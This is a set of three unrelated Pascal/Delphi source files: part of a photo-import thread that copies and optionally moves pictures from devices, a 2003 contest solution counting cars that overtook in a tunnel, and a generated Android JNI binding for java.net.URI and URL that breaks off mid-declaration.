FLastCopyPosition: Int64;
FTotalItems, FCopiedItems: Integer;
FDialogResult: Integer;
FErrorMessage: string;
FItemName: string;
FCurrentItem: TPathItem;
procedure PDItemCopyCallBack(Sender: TObject; BytesTotal, BytesDone: Int64; var Break: Boolean);
protected
function GetThreadID: string; override;
procedure Execute; override;
procedure CopyDeviceFile(Task: TFileOperationTask);
procedure CopyFSFile(Task: TFileOperationTask);
procedure ShowErrorMessage;
public
constructor Create(Options: TImportPicturesOptions);
destructor Destroy; override;
end;
implementation
uses
uManagerExplorer;
{ TFileOperationTask }
function TFileOperationTask.Copy: TFileOperationTask;
begin
Result := TFileOperationTask.Create(FSource, FDestination);
end;
constructor TFileOperationTask.Create(ASource, ADestination: TPathItem);
begin
FSource := ASource.Copy;
FDestination := ADestination.Copy;
FIsDirectory := ASource.IsDirectory;
end;
destructor TFileOperationTask.Destroy;
begin
F(FSource);
F(FDestination);
end;
{ TImportPicturesOptions }
procedure TImportPicturesOptions.AddTask(Task: TImportPicturesTask);
begin
FTasks.Add(Task);
end;
constructor TImportPicturesOptions.Create;
begin
FTasks := TList<TImportPicturesTask>.Create;
FSource := nil;
FCaption := '';
FDate := MinDateTime;
FAutoSplit := True;
end;
destructor TImportPicturesOptions.Destroy;
begin
F(FSource);
F(FDestination);
FreeList(FTasks);
inherited;
end;
function TImportPicturesOptions.GetCount: Integer;
begin
Result := FTasks.Count;
end;
function TImportPicturesOptions.GetTaskByIndex(
Index: Integer): TImportPicturesTask;
begin
Result := FTasks[Index];
end;
procedure TImportPicturesOptions.SetDestination(const Value: TPathItem);
begin
F(FDestination);
FDestination := Value.Copy;
end;
procedure TImportPicturesOptions.SetSource(const Value: TPathItem);
begin
F(FSource);
FSource := Value.Copy;
end;
{ TImportPicturesTask }
procedure TImportPicturesTask.AddOperation(Operation: TFileOperationTask);
begin
FOperationTasks.Add(Operation);
end;
constructor TImportPicturesTask.Create;
begin
FOperationTasks := TList<TFileOperationTask>.Create;
end;
destructor TImportPicturesTask.Destroy;
begin
FreeList(FOperationTasks);
inherited;
end;
function TImportPicturesTask.GetOperationByIndex(
Index: Integer): TFileOperationTask;
begin
Result := FOperationTasks[Index];
end;
function TImportPicturesTask.GetOperationsCount: Integer;
begin
Result := FOperationTasks.Count;
end;
{ TThreadImportPictures }
procedure TThreadImportPictures.CopyDeviceFile(Task: TFileOperationTask);
var
S, D: TPathItem;
DestDirectory: string;
FS: TFileStream;
SE: TPortableItem;
E: HRESULT;
begin
FLastCopyPosition := 0;
S := Task.Source;
if S is TPortableItem then
SE := TPortableItem(S)
else
Exit;
if SE.Item = nil then
raise Exception.Create(FormatEx(TA('Source file {0} not found!', 'ImportPictures'), [S.Path]));
D := Task.Destination;
DestDirectory := ExtractFileDir(D.Path);
if not DirectoryExists(DestDirectory) then
CreateDirA(DestDirectory);
FLastCopyPosition := 0;
FS := TFileStream.Create(D.Path, fmCreate);
try
if not SE.Item.SaveToStreamEx(FS, PDItemCopyCallBack) then
begin
E := SE.Item.ErrorCode;
if Failed(E) then
SE.ResetItem;
OleCheck(E);
end;
finally
F(FS);
end;
Inc(FBytesCopyed, S.FileSize);
Inc(FCopiedItems);
SynchronizeEx(
procedure
begin
FProgress.Options['Time remaining'].SetValue(TimeIntervalInString(FSpeedCounter.GetTimeRemaining(FTotalBytes - FBytesCopyed)));
FProgress.Options['Items remaining'].SetValue(FormatEx('{0} ({1})', [FTotalItems - FCopiedItems, SizeInText(FTotalBytes - FBytesCopyed)]));
FProgress.Options['Speed'].SetValue(SpeedInText(FSpeedCounter.CurrentSpeed / (1024 * 1024)) + ' ' + L('MB/second'));
FProgress.ProgressValue := FBytesCopyed;
FProgress.UpdateOptions(False);
if FProgress.IsCanceled then
Terminate;
end
);
end;
procedure TThreadImportPictures.CopyFSFile(Task: TFileOperationTask);
const
BufferSize = 2 * 1024 * 1024;
var
S, D: TPathItem;
DestDirectory: string;
FS, FD: TFileStream;
Buff: PByte;
Count: Int64;
BytesRemaining: Int64;
IsBreak: Boolean;
Size: Int64;
begin
IsBreak := False;
S := Task.Source;
D := Task.Destination;
DestDirectory := ExtractFileDir(D.Path);
if not DirectoryExists(DestDirectory) then
CreateDirA(DestDirectory);
FLastCopyPosition := 0;
//todo: check if file already exists, check errors
FD := TFileStream.Create(D.Path, fmCreate);
try
FS := TFileStream.Create(S.Path, fmOpenRead or fmShareDenyWrite);
try
Size := FS.Size;
GetMem(Buff, BufferSize);
try
BytesRemaining := FS.Size;
repeat
Count := Min(BufferSize, BytesRemaining);
FS.ReadBuffer(Buff[0], Count);
FD.WriteBuffer(Buff[0], Count);
Dec(BytesRemaining, Count);
PDItemCopyCallBack(Self, Size, FD.Size, IsBreak);
if IsBreak then
Break;
until (BytesRemaining = 0);
finally
FreeMem(Buff);
end;
finally
F(FS);
end;
finally
F(FD);
end;
Inc(FBytesCopyed, Size);
Inc(FCopiedItems);
SynchronizeEx(
procedure
begin
FProgress.Options['Time remaining'].SetValue(TimeIntervalInString(FSpeedCounter.GetTimeRemaining(FTotalBytes - FBytesCopyed)));
FProgress.Options['Items remaining'].SetValue(FormatEx('{0} ({1})', [FTotalItems - FCopiedItems, SizeInText(FTotalBytes - FBytesCopyed)]));
FProgress.Options['Speed'].SetValue(SpeedInText(FSpeedCounter.CurrentSpeed / (1024 * 1024)) + ' ' + L('MB/second'));
FProgress.ProgressValue := FBytesCopyed;
FProgress.UpdateOptions(False);
if FProgress.IsCanceled then
Terminate;
end
);
end;
procedure TThreadImportPictures.PDItemCopyCallBack(Sender: TObject; BytesTotal,
BytesDone: Int64; var Break: Boolean);
begin
FSpeedCounter.AddSpeedInterval(BytesDone - FLastCopyPosition);
SynchronizeEx(
procedure
begin
FProgress.Options['Name'].SetDisplayName(L('Name')).SetValue(ExtractFileName(FCurrentItem.Path));
FProgress.Options['Time remaining'].SetValue(TimeIntervalInString(FSpeedCounter.GetTimeRemaining(FTotalBytes - FBytesCopyed - BytesDone)));
FProgress.Options['Items remaining'].SetValue(FormatEx('{0} ({1})', [FTotalItems - FCopiedItems, SizeInText(FTotalBytes - FBytesCopyed - BytesDone)]));
FProgress.Options['Speed'].SetValue(SpeedInText(FSpeedCounter.CurrentSpeed / (1024 * 1024)) + ' ' + L('MB/second'));
FProgress.ProgressValue := FBytesCopyed + BytesDone;
FProgress.UpdateOptions(False);
end
);
FLastCopyPosition := BytesDone;
Break := Terminated;
end;
procedure TThreadImportPictures.ShowErrorMessage;
begin
FDialogResult := Application.MessageBox(PChar(FormatEx(L('Error processing item {0}: {1}'), [FItemName, FErrorMessage])), PWideChar(PWideChar(TA('Error'))), MB_ICONERROR or MB_ABORTRETRYIGNORE);
end;
constructor TThreadImportPictures.Create(Options: TImportPicturesOptions);
begin
inherited Create(nil, False);
FProgress := nil;
FOptions := Options;
end;
destructor TThreadImportPictures.Destroy;
begin
F(FOptions);
SynchronizeEx(
procedure
begin
R(FProgress)
end
);
inherited;
end;
procedure TThreadImportPictures.Execute;
var
I, J, ErrorCount: Integer;
HR: Boolean;
Source: string;
Childs: TPathItemCollection;
FileOperations: TList<TFileOperationTask>;
CurrentLevel, NextLevel: TList<TPathItem>;
FO: TFileOperationTask;
Items: TPathItemCollection;
PFO: TPathFeatureDeleteOptions;
FinalDirectories: TStrings;
procedure AddToList(Item: TPathItem);
var
DestPath, Path: string;
D: TPathItem;
Operation: TFileOperationTask;
Date: TDateTime;
begin
Date := GetImageDate(Item);
Path := FOptions.Destination.Path + '\' + TPath.TrimPathDirectories(FormatPath(FOptions.NamePattern, Date, ''));
DestPath := TPath.Combine(Path, ExtractFileName(Item.Path));
D := TFileItem.CreateFromPath(DestPath, PATH_LOAD_NO_IMAGE or PATH_LOAD_FAST, 0);
try
Operation := TFileOperationTask.Create(Item, D);
FileOperations.Add(Operation);
finally
F(D);
end;
end;
begin
inherited;
FreeOnTerminate := True;
try
CoInitializeEx(nil, COINIT_MULTITHREADED);
FinalDirectories := TStringList.Create;
try
FTotalItems := 0;
FTotalBytes := 0;
FBytesCopyed := 0;
FCopiedItems := 0;
if FOptions.TasksCount = 0 then
Exit;
if FOptions.Tasks[0].OperationsCount = 0 then
Exit;
Source := FOptions.Source.Path;
if IsDevicePath(Source) then
Delete(Source, 1, Length(cDevicesPath) + 1);
HR := SynchronizeEx(
procedure
begin
Application.CreateForm(TFormMoveFilesProgress, FProgress);
FProgress.Title := L('Calculating...');
FProgress.Options['Mode'].SetDisplayName(L('Import mode')).SetValue(IIF(FOptions.DeleteFilesAfterImport, L('Move'), L('Copy')));
FProgress.Options['Name'].SetDisplayName(L('Name')).SetValue(L('Calculating...'));
FProgress.Options['From'].SetDisplayName(L('From')).SetValue(Source).SetImportant(True);
FProgress.Options['To'].SetDisplayName(L('To')).SetValue(FOptions.Destination.Path).SetImportant(True);
FProgress.Options['Items remaining'].SetDisplayName(L('Items remaining')).SetValue(L('Calculating...'));
FProgress.Options['Time remaining'].SetDisplayName(L('Time remaining')).SetValue(L('Calculating...'));
FProgress.Options['Speed'].SetDisplayName(L('Speed')).SetValue(L('Calculating...'));
FProgress.IsCalculating := True;
FProgress.RefreshOptionList;
FProgress.Show;
end
);
try
FSpeedCounter := TSpeedEstimateCounter.Create(2 * 1000);
try
if HR then
begin
FileOperations := TList<TFileOperationTask>.Create;
try
CurrentLevel := TList<TPathItem>.Create;
NextLevel := TList<TPathItem>.Create;
try
for I := 0 to FOptions.TasksCount - 1 do
begin
for J := 0 to FOptions.Tasks[I].OperationsCount - 1 do
begin
FO := FOptions.Tasks[I].Operations[J];
if FO.IsDirectory then
NextLevel.Add(FO.Source.Copy)
else if IsGraphicFile(FO.Source.Path) or not FOptions.OnlySupportedImages then
begin
Inc(FTotalItems);
Inc(FTotalBytes, FO.Source.FileSize);
FileOperations.Add(TFileOperationTask.Create(FO.Source, FO.Destination));
end;
end;
end;
while NextLevel.Count > 0 do
begin
FreeList(CurrentLevel, False);
CurrentLevel.AddRange(NextLevel);
NextLevel.Clear;
for I := 0 to CurrentLevel.Count - 1 do
begin
if Terminated then
Break;
Childs := TPathItemCollection.Create;
try
CurrentLevel[I].Provider.FillChilds(Self, CurrentLevel[I], Childs, PATH_LOAD_NO_IMAGE or PATH_LOAD_FAST, 0);
for J := 0 to Childs.Count - 1 do
begin
if Childs[J].IsDirectory then
begin
NextLevel.Add(Childs[J].Copy);
end else
begin
if IsGraphicFile(Childs[J].Path) or not FOptions.OnlySupportedImages then
begin
AddToList(Childs[J]);
Inc(FTotalBytes, Childs[J].FileSize);
Inc(FTotalItems);
//notify updated size
SynchronizeEx(
procedure
begin
FProgress.Options['Items remaining'].SetValue(FormatEx('{0} ({1})', [FTotalItems, SizeInText(FTotalBytes)]));
if FProgress.IsCanceled then
Terminate;
end
);
end;
end;
end;
finally
Childs.FreeItems;
F(Childs);
end;
end;
end
finally
FreeList(CurrentLevel);
FreeList(NextLevel);
end;
FSpeedCounter.Reset;
SynchronizeEx(
procedure
begin
FProgress.Title := FormatEx(L('Importing {0} items ({1})'), [FTotalItems, SizeInText(FTotalBytes)]);
FProgress.ProgressMax := FTotalBytes;
FProgress.ProgressValue := 0;
FProgress.IsCalculating := False;
FProgress.UpdateOptions(True);
end
);
//calculating done,
for I := 0 to FileOperations.Count - 1 do
begin
if Terminated then
Break;
FO := FileOperations[I];
if FO.IsDirectory then
Continue;
FCurrentItem := FO.Source;
ErrorCount := 0;
while True do
begin
try
if IsDevicePath(FO.Source.Path) then
CopyDeviceFile(FO)
else
CopyFSFile(FO);
FinalDirectories.Add(FO.Destination.Path)
except
on e: Exception do
begin
Inc(ErrorCount);
if ErrorCount < 5 then
begin
Sleep(100);
Continue;
end;
FErrorMessage := e.Message;
Synchronize(ShowErrorMessage);
if FDialogResult = IDABORT then
begin
Exit;
end else if FDialogResult = IDRETRY then
Continue
else if FDialogResult = IDIGNORE then
Break;
end;
end;
Break;
end;
end;
if FOptions.DeleteFilesAfterImport then
begin
FBytesCopyed := 0;
FCopiedItems := 0;
F(FSpeedCounter);
FSpeedCounter := TSpeedEstimateCounter.Create(10000);
FSpeedCounter.Reset;
SynchronizeEx(
procedure
begin
FProgress.Title := FormatEx(L('Importing {0} items ({1})'), [FTotalItems, SizeInText(FTotalBytes)]);
FProgress.ProgressMax := FTotalBytes;
FProgress.ProgressValue := 0;
FProgress.Options['Name'].SetVisible(False);
FProgress.Options['Items remaining'].SetValue(FormatEx('{0} ({1})', [FTotalItems, SizeInText(FTotalBytes)]));
FProgress.Options['Time remaining'].SetDisplayName(L('Time remaining')).SetValue(L('Calculating...'));
FProgress.Options['Speed'].SetVisible(False);
FProgress.RefreshOptionList;
end
);
for I := 0 to FileOperations.Count - 1 do
begin
if Terminated then
Break;
FO := FileOperations[I];
if FO.IsDirectory then
Continue;
FCurrentItem := FO.Source;
//delete item...
PFO := TPathFeatureDeleteOptions.Create(True);
try
Items := TPathItemCollection.Create;
try
Items.Add(FCurrentItem);
FCurrentItem.Provider.ExecuteFeature(Self, Items, PATH_FEATURE_DELETE, PFO);
finally
F(Items);
end;
finally
F(PFO);
end;
Inc(FBytesCopyed, FCurrentItem.FileSize);
Inc(FCopiedItems);
FSpeedCounter.AddSpeedInterval(1);
SynchronizeEx(
procedure
begin
FProgress.Options['Time remaining'].SetValue(TimeIntervalInString(FSpeedCounter.GetTimeRemaining(FTotalItems - FCopiedItems)));
FProgress.Options['Items remaining'].SetValue(FormatEx('{0} ({1})', [FTotalItems - FCopiedItems, SizeInText(FTotalBytes - FBytesCopyed)]));
FProgress.ProgressValue := FBytesCopyed;
FProgress.UpdateOptions(False);
if FProgress.IsCanceled then
Terminate;
end
);
end;
end;
if FOptions.AddToCollection then
begin
for I := 0 to FileOperations.Count - 1 do
begin
FO := FileOperations[I];
if FO.IsDirectory then
Continue;
if not IsFileInCollectionDirectories(FOptions.DBContext.CollectionFileName, FO.Destination.Path, False) then
UpdaterStorage.AddFile(FO.Destination.Path, dtpHigh);
end;
end;
if (AppSettings.ReadBool('ImportPictures', 'OpenDestination', True)) then
begin
SynchronizeEx(
procedure
begin
with ExplorerManager.NewExplorer(False) do
begin
SetPath(GetCommonDirectory(FinalDirectories));
Show;
end;
end
);
end;
finally
FreeList(FileOperations);
end;
end;
finally
F(FSpeedCounter);
end;
finally
SynchronizeEx(
procedure
begin
R(FProgress);
end
);
end;
finally
F(FinalDirectories);
CoUninitialize;
end;
except
on e: Exception do
begin
EventLog(e);
TThread.Synchronize(nil, procedure begin Application.HandleException(e); end);
end;
end;
end;
function TThreadImportPictures.GetThreadID: string;
begin
Result := 'ImportPictures';
end;
end.
|
{$B-,I-,Q-,R-,S-}
{$M 16384,0,655360}
{62þ T£nel. USA 2003
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Mirko est posicionado en la entrada y Slavko est posicionado en la
salida de un t£nel. Ellos anotan el registro de matr¡cula (las chapas)
de los autom¢viles que pasan por ellos y proporcionan esa informaci¢n
a la patrulla de policia que est a unas millas de ellos en la
carretera.
Usando la informaci¢n que Mirko y Slavko les dieron, la polic¡a puede
determinar, sin cometer error, que algunos choferes se adelantaron
mientras manejaban a trav‚s del t£nel y esto est estrictamente
prohibido Escriba un programa que determine el n£mero de choferes para
los cuales la polic¡a puede alegar que ellos se adelantaron. Nosotros
asumimos que el tr fico a trav‚s del t£nel no tiene ninguna parada.
Entrada
El archivo de la entrada TUNNEL.IN consiste en 2N+1 l¡neas. En primera
l¡nea hay un entero N, 1 <= N <= 1000, n£mero de autom¢viles. En las
pr¢ximas N l¡neas hay registros de matr¡cula de esos autom¢viles, en
el orden en que ellos entraron en el t£nel. En las pr¢ximas N l¡neas
est n los registros de matr¡culas de esos autom¢viles, en el orden en
que ellos salieron del t£nel. El registro de matr¡cula de un autom¢vil
consiste en por lo menos seis y a lo sumo ocho car cteres y s¢lo ser n
permitidos los caracteres del alfabeto ingl‚s (A-Z) y los d¡gitos del
sistema decimal (0-9).
Salida
En la primera y £nica l¡nea del fichero de salida TUNNEL.OUT aparecer
el n£mero de choferes que polic¡a puede castigar ciertamente por
adelantarse en el t£nel.
Ejemplos de Entrada y Salida:
Ejemplo #1 Ejemplo # 2 Ejemplo #3
ÚÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ TUNNEL.IN ³ ³ TUNNEL.IN ³ ³ TUNNEL.IN ³
ÃÄÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÄÄ´
³ 4 ³ ³ 5 ³ ³ 5 ³
³ ZG431SN ³ ³ ZG508OK ³ ³ ZG206A ³
³ ZG5080K ³ ³ PU305A ³ ³ PU234Q ³
³ ST123D ³ ³ RI604B ³ ³ OS945CK ³
³ ZG206A ³ ³ ZG206A ³ ³ ZG431SN ³
³ ZG206A ³ ³ ZG232ZF ³ ³ ZG5962J ³
³ ZG431SN ³ ³ PU305A ³ ³ ZG5962J ³
³ ZG5080K ³ ³ ZG232ZF ³ ³ OS945CK ³
³ ST123D ³ ³ ZG206A ³ ³ ZG206A ³
ÀÄÄÄÄÄÄÄÄÄÄÄÙ ³ ZG508OK ³ ³ PU234Q ³
³ RI604B ³ ³ ZG431SN ³
ÀÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ TUNNEL.OUT ³ ³ TUNNEL.OUT ³ ³ TUNNEL.OUT ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÄÄ´
³ 1 ³ ³ 3 ³ ³ 2 ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
}
const
max = 1000;
var
fe,fs : text;
n,sol : longint;
mir,sla,sav : array[1..max] of string[8];
mk : array[1..max] of boolean;
idx : array[1..max] of longint;
procedure open;
var
t : longint;
begin
assign(fe,'tunnel.in'); reset(fe);
assign(fs,'tunnel.out'); rewrite(fs);
readln(fe,n);
for t:=1 to n do
begin
readln(fe,mir[t]);
sav[t]:=mir[t];
idx[t]:=t;
end;
for t:=1 to n do
readln(fe,sla[t]);
close(fe);
end;
procedure qsort(ini,fin : longint);
var
i,j,l : longint;
k,t : string;
begin
i:=ini; j:=fin; k:=sav[random(j-i+1)+i];
repeat
while sav[i] < k do inc(i);
while sav[j] > k do dec(j);
if i<=j then
begin
t:=sav[i]; sav[i]:=sav[j]; sav[j]:=t;
l:=idx[i]; idx[i]:=idx[j]; idx[j]:=l;
inc(i); dec(j);
end;
until i>j;
if i < fin then qsort(i,fin);
if j > ini then qsort(ini,j);
end;
function search(x : string) : longint;
var
ini,fin,mit : longint;
begin
ini:=1; fin:=n; mit:=(ini + fin) div 2;
while (sav[mit] <> x) do
begin
if sav[mit] < x then
begin
ini:=mit + 1;
mit:=(ini + fin) div 2;
end
else
begin
fin:=mit;
mit:=(ini + fin) div 2;
end;
end;
search:=idx[mit];
end;
procedure work;
var
i,j : longint;
begin
randomize;
qsort(1,n);
fillchar(mk,n,true);
j:=0; sol:=0;
for i:=1 to n do
if mk[i] then
begin
inc(j);
while sla[j] <> mir[i] do
begin
inc(sol);
mk[search(sla[j])]:=false;
inc(j);
end;
end;
end;
procedure closer;
begin
writeln(fs,sol);
close(fs);
end;
begin
open;
work;
closer;
end. |
//
// Generated by JavaToPas v1.5 20171018 - 171209
////////////////////////////////////////////////////////////////////////////////
unit java.net.URI;
interface
uses
AndroidAPI.JNIBridge,
Androidapi.JNI.JavaTypes,
java.net.Proxy,
java.net.InetAddress,
java.net.FileNameMap,
java.security.Permission,
java.net.ContentHandlerFactory;
type
JURLStreamHandlerFactory = interface; // merged
JURLConnection = interface; // merged
JURLStreamHandler = interface; // merged
JURL = interface; // merged
JURI = interface;
JURIClass = interface(JObjectClass)
['{B909F383-D475-4132-816E-F4EC5018BC85}']
function compareTo(that : JURI) : Integer; cdecl; // (Ljava/net/URI;)I A: $1
function create(str : JString) : JURI; cdecl; // (Ljava/lang/String;)Ljava/net/URI; A: $9
function equals(ob : JObject) : boolean; cdecl; // (Ljava/lang/Object;)Z A: $1
function getAuthority : JString; cdecl; // ()Ljava/lang/String; A: $1
function getFragment : JString; cdecl; // ()Ljava/lang/String; A: $1
function getHost : JString; cdecl; // ()Ljava/lang/String; A: $1
function getPath : JString; cdecl; // ()Ljava/lang/String; A: $1
function getPort : Integer; cdecl; // ()I A: $1
function getQuery : JString; cdecl; // ()Ljava/lang/String; A: $1
function getRawAuthority : JString; cdecl; // ()Ljava/lang/String; A: $1
function getRawFragment : JString; cdecl; // ()Ljava/lang/String; A: $1
function getRawPath : JString; cdecl; // ()Ljava/lang/String; A: $1
function getRawQuery : JString; cdecl; // ()Ljava/lang/String; A: $1
function getRawSchemeSpecificPart : JString; cdecl; // ()Ljava/lang/String; A: $1
function getRawUserInfo : JString; cdecl; // ()Ljava/lang/String; A: $1
function getScheme : JString; cdecl; // ()Ljava/lang/String; A: $1
function getSchemeSpecificPart : JString; cdecl; // ()Ljava/lang/String; A: $1
function getUserInfo : JString; cdecl; // ()Ljava/lang/String; A: $1
function hashCode : Integer; cdecl; // ()I A: $1
function init(scheme : JString; authority : JString; path : JString; query : JString; fragment : JString) : JURI; cdecl; overload;// (Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V A: $1
function init(scheme : JString; host : JString; path : JString; fragment : JString) : JURI; cdecl; overload;// (Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V A: $1
function init(scheme : JString; ssp : JString; fragment : JString) : JURI; cdecl; overload;// (Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V A: $1
function init(scheme : JString; userInfo : JString; host : JString; port : Integer; path : JString; query : JString; fragment : JString) : JURI; cdecl; overload;// (Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V A: $1
function init(str : JString) : JURI; cdecl; overload; // (Ljava/lang/String;)V A: $1
function isAbsolute : boolean; cdecl; // ()Z A: $1
function isOpaque : boolean; cdecl; // ()Z A: $1
function normalize : JURI; cdecl; // ()Ljava/net/URI; A: $1
function parseServerAuthority : JURI; cdecl; // ()Ljava/net/URI; A: $1
function relativize(uri : JURI) : JURI; cdecl; // (Ljava/net/URI;)Ljava/net/URI; A: $1
function resolve(str : JString) : JURI; cdecl; overload; // (Ljava/lang/String;)Ljava/net/URI; A: $1
function resolve(uri : JURI) : JURI; cdecl; overload; // (Ljava/net/URI;)Ljava/net/URI; A: $1
function toASCIIString : JString; cdecl; // ()Ljava/lang/String; A: $1
function toString : JString; cdecl; // ()Ljava/lang/String; A: $1
function toURL : JURL; cdecl; // ()Ljava/net/URL; A: $1
end;
[JavaSignature('java/net/URI')]
JURI = interface(JObject)
['{0599D8C7-9672-42B0-9DAD-1F56F0E24AAF}']
function compareTo(that : JURI) : Integer; cdecl; // (Ljava/net/URI;)I A: $1
function equals(ob : JObject) : boolean; cdecl; // (Ljava/lang/Object;)Z A: $1
function getAuthority : JString; cdecl; // ()Ljava/lang/String; A: $1
function getFragment : JString; cdecl; // ()Ljava/lang/String; A: $1
function getHost : JString; cdecl; // ()Ljava/lang/String; A: $1
function getPath : JString; cdecl; // ()Ljava/lang/String; A: $1
function getPort : Integer; cdecl; // ()I A: $1
function getQuery : JString; cdecl; // ()Ljava/lang/String; A: $1
function getRawAuthority : JString; cdecl; // ()Ljava/lang/String; A: $1
function getRawFragment : JString; cdecl; // ()Ljava/lang/String; A: $1
function getRawPath : JString; cdecl; // ()Ljava/lang/String; A: $1
function getRawQuery : JString; cdecl; // ()Ljava/lang/String; A: $1
function getRawSchemeSpecificPart : JString; cdecl; // ()Ljava/lang/String; A: $1
function getRawUserInfo : JString; cdecl; // ()Ljava/lang/String; A: $1
function getScheme : JString; cdecl; // ()Ljava/lang/String; A: $1
function getSchemeSpecificPart : JString; cdecl; // ()Ljava/lang/String; A: $1
function getUserInfo : JString; cdecl; // ()Ljava/lang/String; A: $1
function hashCode : Integer; cdecl; // ()I A: $1
function isAbsolute : boolean; cdecl; // ()Z A: $1
function isOpaque : boolean; cdecl; // ()Z A: $1
function normalize : JURI; cdecl; // ()Ljava/net/URI; A: $1
function parseServerAuthority : JURI; cdecl; // ()Ljava/net/URI; A: $1
function relativize(uri : JURI) : JURI; cdecl; // (Ljava/net/URI;)Ljava/net/URI; A: $1
function resolve(str : JString) : JURI; cdecl; overload; // (Ljava/lang/String;)Ljava/net/URI; A: $1
function resolve(uri : JURI) : JURI; cdecl; overload; // (Ljava/net/URI;)Ljava/net/URI; A: $1
function toASCIIString : JString; cdecl; // ()Ljava/lang/String; A: $1
function toString : JString; cdecl; // ()Ljava/lang/String; A: $1
function toURL : JURL; cdecl; // ()Ljava/net/URL; A: $1
end;
TJURI = class(TJavaGenericImport<JURIClass, JURI>)
end;
// Merged from: .\java.net.URL.pas
JURLClass = interface(JObjectClass)
['{0B2EE3F3-705D-4C3A-AA89-41F981DBB206}']
function equals(obj : JObject) : boolean; cdecl; // (Ljava/lang/Object;)Z A: $1
function getAuthority : JString; cdecl; // ()Ljava/lang/String; A: $1
function getContent : JObject; cdecl; overload; // ()Ljava/lang/Object; A: $11
function getContent(classes : TJavaArray<JClass>) : JObject; cdecl; overload;// ([Ljava/lang/Class;)Ljava/lang/Object; A: $11
function getDefaultPort : Integer; cdecl; // ()I A: $1
function getFile : JString; cdecl; // ()Ljava/lang/String; A: $1
function getHost : JString; cdecl; // ()Ljava/lang/String; A: $1
function getPath : JString; cdecl; // ()Ljava/lang/String; A: $1
function getPort : Integer; cdecl; // ()I A: $1
function getProtocol : JString; cdecl; // ()Ljava/lang/String; A: $1
function getQuery : JString; cdecl; // ()Ljava/lang/String; A: $1
function getRef : JString; cdecl; // ()Ljava/lang/String; A: $1
function getUserInfo : JString; cdecl; // ()Ljava/lang/String; A: $1
function hashCode : Integer; cdecl; // ()I A: $21
function init(context : JURL; spec : JString) : JURL; cdecl; overload; // (Ljava/net/URL;Ljava/lang/String;)V A: $1
function init(context : JURL; spec : JString; handler : JURLStreamHandler) : JURL; cdecl; overload;// (Ljava/net/URL;Ljava/lang/String;Ljava/net/URLStreamHandler;)V A: $1
function init(protocol : JString; host : JString; &file : JString) : JURL; cdecl; overload;// (Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V A: $1
function init(protocol : JString; host : JString; port : Integer; &file : JString) : JURL; cdecl; overload;// (Ljava/lang/String;Ljava/lang/String;ILjava/lang/String;)V A: $1
function init(protocol : JString; host : JString; port : Integer; &file : JString; handler : JURLStreamHandler) : JURL; cdecl; overload;// (Ljava/lang/String;Ljava/lang/String;ILjava/lang/String;Ljava/net/URLStreamHandler;)V A: $1
function init(spec : JString) : JURL; cdecl; overload; // (Ljava/lang/String;)V A: $1
function openConnection : JURLConnection; cdecl; overload; // ()Ljava/net/URLConnection; A: $1
function openConnection(proxy : JProxy) : JURLConnection; cdecl; overload; // (Ljava/net/Proxy;)Ljava/net/URLConnection; A: $1
function openStream : JInputStream; cdecl; // ()Ljava/io/InputStream; A: $11
function sameFile(other : JURL) : boolean; cdecl; // (Ljava/net/URL;)Z A: $1
function toExternalForm : JString; cdecl; // ()Ljava/lang/String; A: $1
function toString : JString; cdecl; // ()Ljava/lang/String; A: $1
function toURI : JURI; cdecl; // ()Ljava/net/URI; A: $1
procedure setURLStreamHandlerFactory(fac : JURLStreamHandlerFactory) ; cdecl;// (Ljava/net/URLStreamHandlerFactory;)V A: $9
end;
[JavaSignature('java/net/URL')]
JURL = interface(JObject)
['{CB8B6E67-C23A-418C-8A77-A4059FD1FA34}']
function equals(obj : JObject) : boolean; cdecl; // (Ljava/lang/Object;)Z A: $1
function getAuthority : JString; cdecl; // ()Ljava/lang/String; A: $1
function getDefaultPort : Integer; cdecl; // ()I A: $1
function getFile : JString; cdecl; // ()Ljava/lang/String; A: $1
function getHost : JString; cdecl; // ()Ljava/lang/String; A: $1
function getPath : JString; cdecl; // ()Ljava/lang/String; A: $1
function getPort : Integer; cdecl; // ()I A: $1
function getProtocol : JString; cdecl; // ()Ljava/lang/String; A: $1
function getQuery : JString; cdecl; // ()Ljava/lang/String; A: $1
function getRef : JString; cdecl; // ()Ljava/lang/String; A: $1
function getUserInfo : JString; cdecl; // ()Ljava/lang/String; A: $1
function openConnection : JURLConnection; cdecl; overload; // ()Ljava/net/URLConnection; A: $1
function openConnection(proxy : JProxy) : JURLConnection; cdecl; overload; // (Ljava/net/Proxy;)Ljava/net/URLConnection; A: $1
function sameFile(other : JURL) : boolean; cdecl; // (Ljava/net/URL;)Z A: $1
function toExternalForm : JString; cdecl; // ()Ljava/lang/String; A: $1
function toString : JString; cdecl; // ()Ljava/lang/String; A: $1
function toURI : JURI; cdecl; // ()Ljava/net/URI; A: $1
end;
TJURL = class(TJavaGenericImport<JURLClass, JURL>)
end;
// Merged from: .\java.net.URLStreamHandler.pas
JURLStreamHandlerClass = interface(JObjectClass)
